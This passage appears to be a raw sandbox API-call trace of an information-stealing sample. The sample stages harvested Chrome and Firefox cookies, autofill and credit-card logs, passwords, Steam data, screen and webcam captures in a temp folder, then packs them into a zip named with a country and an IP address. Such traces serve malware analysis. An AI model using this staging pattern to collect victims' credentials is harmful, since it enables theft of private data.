lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp", lpFilePart=0x0) returned 0x2e [0211.546] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Germany_94.114.3.195_33D770D006BC47C58714222CDAC43A71.zip", nBufferLength=0x105, lpBuffer=0x12fea7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Germany_94.114.3.195_33D770D006BC47C58714222CDAC43A71.zip", lpFilePart=0x0) returned 0x5c [0211.549] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Germany_94.114.3.195_33D770D006BC47C58714222CDAC43A71.zip", nBufferLength=0x105, lpBuffer=0x12fe964, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Germany_94.114.3.195_33D770D006BC47C58714222CDAC43A71.zip", lpFilePart=0x0) returned 0x5c [0211.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feea8) returned 1 [0211.549] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\Germany_94.114.3.195_33D770D006BC47C58714222CDAC43A71.zip" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\germany_94.114.3.195_33d770d006bc47c58714222cdac43a71.zip"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x740 [0211.549] GetFileType (hFile=0x740) returned 0x1 [0211.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feea4) returned 1 [0211.549] GetFileType (hFile=0x740) returned 0x1 [0211.581] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp", nBufferLength=0x105, lpBuffer=0x12fea5c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp", lpFilePart=0x0) returned 0x2e [0211.583] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef78) returned 1 [0211.585] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp", nBufferLength=0x105, lpBuffer=0x12fea2c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp", lpFilePart=0x0) returned 0x2e [0211.585] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\*", lpFindFileData=0x12feca0 | out: lpFindFileData=0x12feca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18af0b28, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x27eed059, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x312ee07d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa7b0 [0211.585] FindClose (in: hFindFile=0x13fa7b0 | out: hFindFile=0x13fa7b0) returned 1 [0211.586] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\*", lpFindFileData=0x12fecac | out: lpFindFileData=0x12fecac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18af0b28, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x312ee07d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x312ee07d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa770 [0211.586] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18af0b28, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x312ee07d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x312ee07d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.586] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0211.586] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x29f6a20e, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x29f6a20e, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browsers", cAlternateFileName="")) returned 1 [0211.587] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b94cac9, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1b94cac9, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1b94cac9, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CamScreen.png", cAlternateFileName="CAMSCR~1.PNG")) returned 1 [0211.587] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce8200f, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2ce8200f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2ce8200f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x6b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="cookieDomains.log", cAlternateFileName="COOKIE~1.LOG")) returned 1 [0211.587] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da82629, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1dd0b065, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1dd0b065, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Files", cAlternateFileName="")) returned 1 [0211.587] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x312ee07d, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x312ee07d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x313ac93a, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="information.log", cAlternateFileName="INFORM~1.LOG")) returned 1 [0211.587] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ce8200f, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2ce8200f, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2ce8200f, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="passwords.log", cAlternateFileName="PASSWO~1.LOG")) returned 1 [0211.588] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d060703, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1d060703, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1d2c6ed8, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x26c5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="screen.jpeg", cAlternateFileName="SCREEN~1.JPE")) returned 1 [0211.588] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27de1e71, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x27de1e71, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x27e08115, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserAgents.txt", cAlternateFileName="USERAG~1.TXT")) returned 1 [0211.588] FindNextFileW (in: hFindFile=0x13fa770, lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27de1e71, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x27de1e71, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x27e08115, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserAgents.txt", cAlternateFileName="USERAG~1.TXT")) returned 0 [0211.588] FindClose (in: hFindFile=0x13fa770 | out: hFindFile=0x13fa770) returned 1 [0211.588] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\*", lpFindFileData=0x12fecec | out: lpFindFileData=0x12fecec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18af0b28, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x312ee07d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x312ee07d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa570 [0211.589] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18af0b28, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x312ee07d, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x312ee07d, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.589] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1 [0211.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef4c) returned 1 [0211.612] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps", nBufferLength=0x105, lpBuffer=0x12fea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps", lpFilePart=0x0) returned 0x33 [0211.612] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\*", lpFindFileData=0x12fec74 | out: lpFindFileData=0x12fec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa470 [0211.612] FindClose (in: hFindFile=0x13fa470 | out: hFindFile=0x13fa470) returned 1 [0211.612] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\*", lpFindFileData=0x12fec80 | out: lpFindFileData=0x12fec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa4f0 [0211.613] FindNextFileW (in: hFindFile=0x13fa4f0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.613] FindNextFileW (in: hFindFile=0x13fa4f0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Steam", cAlternateFileName="")) returned 1 [0211.613] FindNextFileW (in: hFindFile=0x13fa4f0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Steam", cAlternateFileName="")) returned 0 [0211.613] FindClose (in: hFindFile=0x13fa4f0 | out: hFindFile=0x13fa4f0) returned 1 [0211.613] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Apps\\*", lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa530 [0211.614] FindNextFileW (in: hFindFile=0x13fa530, lpFindFileData=0x12fecd4 | out: lpFindFileData=0x12fecd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.614] FindNextFileW (in: hFindFile=0x13fa530, lpFindFileData=0x12fecd4 | out: lpFindFileData=0x12fecd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da10a51, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1da10a51, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1da10a51, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Steam", cAlternateFileName="")) returned 1 [0211.614] FindClose (in: hFindFile=0x13fa530 | out: hFindFile=0x13fa530) returned 1 [0211.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef68) returned 1 [0211.614] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x29f6a20e, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x29f6a20e, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Browsers", cAlternateFileName="")) returned 1 [0211.614] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef4c) returned 1 [0211.614] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers", nBufferLength=0x105, lpBuffer=0x12fea00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers", lpFilePart=0x0) returned 0x37 [0211.614] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\*", lpFindFileData=0x12fec74 | out: lpFindFileData=0x12fec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x29f6a20e, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa770 [0211.615] FindClose (in: hFindFile=0x13fa770 | out: hFindFile=0x13fa770) returned 1 [0211.615] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\*", lpFindFileData=0x12fec80 | out: lpFindFileData=0x12fec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa9b0 [0211.615] FindNextFileW (in: hFindFile=0x13fa9b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.615] FindNextFileW (in: hFindFile=0x13fa9b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf8ceee, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default_Google_Chrome_Autofill.log", cAlternateFileName="DEFAUL~2.LOG")) returned 1 [0211.616] FindNextFileW (in: hFindFile=0x13fa9b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29f6a20e, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x29f6a20e, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x29f90380, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x162, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default_Google_Chrome_Cookies.txt", cAlternateFileName="DEFAUL~1.TXT")) returned 1 [0211.616] FindNextFileW (in: hFindFile=0x13fa9b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf40c17, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf40c17, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf40c17, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default_Google_Chrome_Credit_Cards.log", cAlternateFileName="DEFAUL~1.LOG")) returned 1 [0211.616] FindNextFileW (in: hFindFile=0x13fa9b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28cc8928, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x28cc8928, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x28ceee31, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x3740, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default_Firefox_Cookies.txt", cAlternateFileName="W7CR0H~1.TXT")) returned 1 [0211.616] FindNextFileW (in: hFindFile=0x13fa9b0, lpFindFileData=0x12fec94 | out: lpFindFileData=0x12fec94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28cc8928, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x28cc8928, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x28ceee31, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x3740, dwReserved0=0x0, dwReserved1=0x0, cFileName="w7cr0hor.default_Firefox_Cookies.txt", cAlternateFileName="W7CR0H~1.TXT")) returned 0 [0211.616] FindClose (in: hFindFile=0x13fa9b0 | out: hFindFile=0x13fa9b0) returned 1 [0211.616] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\Browsers\\*", lpFindFileData=0x12fecc0 | out: lpFindFileData=0x12fecc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x13fa970 [0211.617] FindNextFileW (in: hFindFile=0x13fa970, lpFindFileData=0x12fecd4 | out: lpFindFileData=0x12fecd4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27eed059, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.617] FindNextFileW (in: hFindFile=0x13fa970, lpFindFileData=0x12fecd4 | out: lpFindFileData=0x12fecd4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cf8ceee, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x2cf8ceee, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x2cf8ceee, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default_Google_Chrome_Autofill.log", cAlternateFileName="DEFAUL~2.LOG")) returned 1 [0211.617] FindClose (in: hFindFile=0x13fa970 | out: hFindFile=0x13fa970) returned 1 [0211.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef68) returned 1 [0211.617] FindNextFileW (in: hFindFile=0x13fa570, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b94cac9, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x1b94cac9, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0x1b94cac9, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CamScreen.png", cAlternateFileName="CAMSCR~1.PNG")) returned 1 [0211.630] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\CamScreen.png", nBufferLength=0x105, lpBuffer=0x12fe930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\CamScreen.png", lpFilePart=0x0) returned 0x3c [0211.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee74) returned 1 [0211.630] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\AX754VD.tmp\\CamScreen.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\ax754vd.tmp\\camscreen.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x750 [0211.631] GetFileType (hFile=0x750) returned 0x1 [0211.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fee70) returned 1 [0211.632] GetFileType (hFile=0x750) returned 0x1 [0211.650] GetFullPathNameW (in: 